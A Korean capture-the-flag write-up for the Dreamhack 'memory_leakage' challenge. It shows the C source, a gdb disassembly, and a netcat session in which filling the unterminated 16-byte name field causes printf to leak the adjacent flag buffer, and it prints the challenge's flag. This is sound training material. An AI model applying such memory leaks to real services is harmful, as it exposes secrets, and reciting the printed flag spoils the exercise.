[dreamhack] memory_leakage writeup

1. 문제

thumbnail
memory_leakage

이 문제는 서버에서 작동하고 있는 서비스(memory_leakage)의 바이너리와 소스 코드가 주어집니다.
프로그램의 취약점을 찾고 익스플로잇해 'flag' 파일을 읽으세요.
'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.

https://dreamhack.io/wargame/challenges/69

2. 풀이

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <string.h>

FILE *fp;

struct my_page {
	char name[16];
	int age;
};

int main()
{
	struct my_page my_page;
	char flag_buf[56];
	int idx;

	memset(flag_buf, 0, sizeof(flag_buf));
	
	initialize();

	while(1) {
		printf("1. Join\n");
		printf("2. Print information\n");
		printf("3. GIVE ME FLAG!\n");
		printf("> ");
		scanf("%d", &idx);
		switch(idx) {
			case 1:
				printf("Name: ");
				read(0, my_page.name, sizeof(my_page.name));

				printf("Age: ");
				scanf("%d", &my_page.age);
				break;
			case 2:
				printf("Name: %s\n", my_page.name);
				printf("Age: %d\n", my_page.age);
				break;
			case 3:
				fp = fopen("/flag", "r");
				fread(flag_buf, 1, 56, fp);
				break;
			default:
				break;
		}
	}

}

입력(1,2,3)에 따라 다른 코드를 실행하며

  • 1번 입력시: my_page 구조체의 nameage 변수에 입력을 받음
  • 2번 입력시: my_page 구조체에 입력된 nameage 변수를 출력함
  • 3번 입력시: flag_buf 변수에 flag 파일로부터 읽은 내용을 넣음

2번 입력시 my_page 구조체의 name 변수를 %s 서식문자를 통해 출력하는 것을 볼 수 있는데, 이는 null 또는 \0이 나올때까지 출력한다.

pwndbg> disass main
Dump of assembler code for function main:
   0x080486eb <+0>:	lea    ecx,[esp+0x4]
   0x080486ef <+4>:	and    esp,0xfffffff0
   0x080486f2 <+7>:	push   DWORD PTR [ecx-0x4]
   0x080486f5 <+10>:	push   ebp
   0x080486f6 <+11>:	mov    ebp,esp
   0x080486f8 <+13>:	push   ecx
   0x080486f9 <+14>:	sub    esp,0x64
   0x080486fc <+17>:	mov    eax,gs:0x14
   0x08048702 <+23>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048705 <+26>:	xor    eax,eax
   0x08048707 <+28>:	sub    esp,0x4
   0x0804870a <+31>:	push   0x38
   0x0804870c <+33>:	push   0x0
   0x0804870e <+35>:	lea    eax,[ebp-0x44]
   0x08048711 <+38>:	push   eax
   0x08048712 <+39>:	call   0x8048550 <memset@plt>
   0x08048717 <+44>:	add    esp,0x10
   0x0804871a <+47>:	call   0x804869b <initialize>
   0x0804871f <+52>:	sub    esp,0xc
   0x08048722 <+55>:	push   0x80488c9
   0x08048727 <+60>:	call   0x8048500 <puts@plt>
   0x0804872c <+65>:	add    esp,0x10
   0x0804872f <+68>:	sub    esp,0xc
   0x08048732 <+71>:	push   0x80488d1
   0x08048737 <+76>:	call   0x8048500 <puts@plt>
   0x0804873c <+81>:	add    esp,0x10
   0x0804873f <+84>:	sub    esp,0xc
   0x08048742 <+87>:	push   0x80488e6
   0x08048747 <+92>:	call   0x8048500 <puts@plt>
   0x0804874c <+97>:	add    esp,0x10
   0x0804874f <+100>:	sub    esp,0xc
   0x08048752 <+103>:	push   0x80488f7
   0x08048757 <+108>:	call   0x80484c0 <printf@plt>
   0x0804875c <+113>:	add    esp,0x10
   0x0804875f <+116>:	sub    esp,0x8
   0x08048762 <+119>:	lea    eax,[ebp-0x5c]
   0x08048765 <+122>:	push   eax
   0x08048766 <+123>:	push   0x80488fa
   0x0804876b <+128>:	call   0x8048560 <__isoc99_scanf@plt>
   0x08048770 <+133>:	add    esp,0x10
   0x08048773 <+136>:	mov    eax,DWORD PTR [ebp-0x5c]
   0x08048776 <+139>:	cmp    eax,0x2
   0x08048779 <+142>:	je     0x80487da <main+239>
   0x0804877b <+144>:	cmp    eax,0x3
   0x0804877e <+147>:	je     0x8048804 <main+281>
   0x08048784 <+153>:	cmp    eax,0x1
   0x08048787 <+156>:	je     0x804878e <main+163>
   0x08048789 <+158>:	jmp    0x8048835 <main+330>
   0x0804878e <+163>:	sub    esp,0xc
   0x08048791 <+166>:	push   0x80488fd
   0x08048796 <+171>:	call   0x80484c0 <printf@plt>
   0x0804879b <+176>:	add    esp,0x10
   0x0804879e <+179>:	sub    esp,0x4
   0x080487a1 <+182>:	push   0x10
   0x080487a3 <+184>:	lea    eax,[ebp-0x58]
   0x080487a6 <+187>:	push   eax
   0x080487a7 <+188>:	push   0x0
   0x080487a9 <+190>:	call   0x80484b0 <read@plt>
   0x080487ae <+195>:	add    esp,0x10
   0x080487b1 <+198>:	sub    esp,0xc
   0x080487b4 <+201>:	push   0x8048904
   0x080487b9 <+206>:	call   0x80484c0 <printf@plt>
   0x080487be <+211>:	add    esp,0x10
   0x080487c1 <+214>:	sub    esp,0x8
   0x080487c4 <+217>:	lea    eax,[ebp-0x58]
   0x080487c7 <+220>:	add    eax,0x10
   0x080487ca <+223>:	push   eax
   0x080487cb <+224>:	push   0x80488fa
   0x080487d0 <+229>:	call   0x8048560 <__isoc99_scanf@plt>
   0x080487d5 <+234>:	add    esp,0x10
   0x080487d8 <+237>:	jmp    0x8048835 <main+330>
   0x080487da <+239>:	sub    esp,0x8
   0x080487dd <+242>:	lea    eax,[ebp-0x58]
   0x080487e0 <+245>:	push   eax
   0x080487e1 <+246>:	push   0x804890a
   0x080487e6 <+251>:	call   0x80484c0 <printf@plt>
   0x080487eb <+256>:	add    esp,0x10
   0x080487ee <+259>:	mov    eax,DWORD PTR [ebp-0x48]
   0x080487f1 <+262>:	sub    esp,0x8
   0x080487f4 <+265>:	push   eax
   0x080487f5 <+266>:	push   0x8048914
   0x080487fa <+271>:	call   0x80484c0 <printf@plt>
   0x080487ff <+276>:	add    esp,0x10
   0x08048802 <+279>:	jmp    0x8048835 <main+330>
   0x08048804 <+281>:	sub    esp,0x8
   0x08048807 <+284>:	push   0x804891d
   0x0804880c <+289>:	push   0x804891f
   0x08048811 <+294>:	call   0x8048540 <fopen@plt>
   0x08048816 <+299>:	add    esp,0x10
   0x08048819 <+302>:	mov    ds:0x804a06c,eax
   0x0804881e <+307>:	mov    eax,ds:0x804a06c
   0x08048823 <+312>:	push   eax
   0x08048824 <+313>:	push   0x38
   0x08048826 <+315>:	push   0x1
   0x08048828 <+317>:	lea    eax,[ebp-0x44]
   0x0804882b <+320>:	push   eax
   0x0804882c <+321>:	call   0x80484f0 <fread@plt>
   0x08048831 <+326>:	add    esp,0x10
   0x08048834 <+329>:	nop
   0x08048835 <+330>:	jmp    0x804871f <main+52>
End of assembler dump.

gdb를 보면 idx 변수는 [ebp-0x5c], my_page.name[ebp-0x58], my_page.age[ebp-0x48], flag_buf[ebp-0x44]에 차례로 위치함을 볼 수 있다. 만약 nameflag_buf 변수 사이에 null값이 하나도 없다면 3번을 입력해서 받아온 flag의 내용을 name을 출력하는 것만으로 모두 출력이 가능할 것이다.

즉, 아래와 같은 상태이다.

flag_buf ebp-0x44
my_page.age ebp-0x48
my_page.name ebp-0x58
idx ebp-0x5c

심지어 1번을 통해 name을 입력할때 sizeof(name)을 통해서 받으므로 16바이트 모두를 사용할 수 있고, ageint형이므로 4바이트이상의 정수를 입력한 뒤 2번을 통해 출력하면 flag를 얻을 수 있을 것이다.

ubuntu@instance-20250406-1126:~/dreamhack/level1/memory_leakage$ nc host3.dreamhack.games 21407
1. Join
2. Print information
3. GIVE ME FLAG!
> 1
Name: jjjjjjjjjjjjjjjj
Age: 111111111111111111
1. Join
2. Print information
3. GIVE ME FLAG!
> 3
1. Join
2. Print information
3. GIVE ME FLAG!
> 2
Name: jjjjjjjjjjjjjjjjÿÿDH{a77ae81944bbbe70adb10d98dc191379}
Age: 2147483647
1. Join
2. Print information
3. GIVE ME FLAG!
> 

해결~